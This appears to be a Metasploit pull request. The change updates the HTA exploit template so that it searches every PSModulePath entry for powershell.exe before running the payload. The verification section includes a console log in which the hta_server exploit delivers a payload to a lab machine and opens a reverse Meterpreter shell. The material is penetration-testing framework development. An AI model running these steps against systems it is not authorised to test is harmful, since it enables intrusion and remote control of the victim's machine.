Handle multiple entries in PSModulePath

[kaospunk]

This commit handles the case where more than one entry exists in
the PSModulePath environment variable. The updated code will loop
through each entry in the PSModulePath checking for the presence of
powershell.exe. When one is encountered it will execute the payload
and exit the for loop.

Verification

• Start msfconsole
• use exploit/windows/misc/hta_server and verify you can get a session

msf exploit(handler) > use exploit/windows/misc/hta_server
msf exploit(hta_server) > exploit
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.18.230:4444 
msf exploit(hta_server) > [*] Using URL: http://0.0.0.0:80/HHlDRyhjXjoD.hta
[*] Local IP: http://192.168.18.230:80/HHlDRyhjXjoD.hta
[*] Server started.
[*] 192.168.18.55     hta_server - Delivering Payload
[*] 192.168.18.55     hta_server - Delivering Payload
[*] Sending stage (957487 bytes) to 192.168.18.55
[*] Meterpreter session 1 opened (192.168.18.230:4444 -> 192.168.18.55:50668) at 2017-04-19 11:53:32 -0400

msf exploit(hta_server) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo 
Computer        : WIN-YPKLGCPOGE7
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows
meterpreter > 

[bwatters-r7]

Note similar PR: #8299

[busterb]

Release Notes

This fix updates the HTA file format exploit template to handle the case where more than one entry exists in the PSModulePath environment variable. The updated code will loop through each entry in the PSModulePath checking for the presence of powershell.exe. When one is encountered, it will execute the payload and exit the for loop.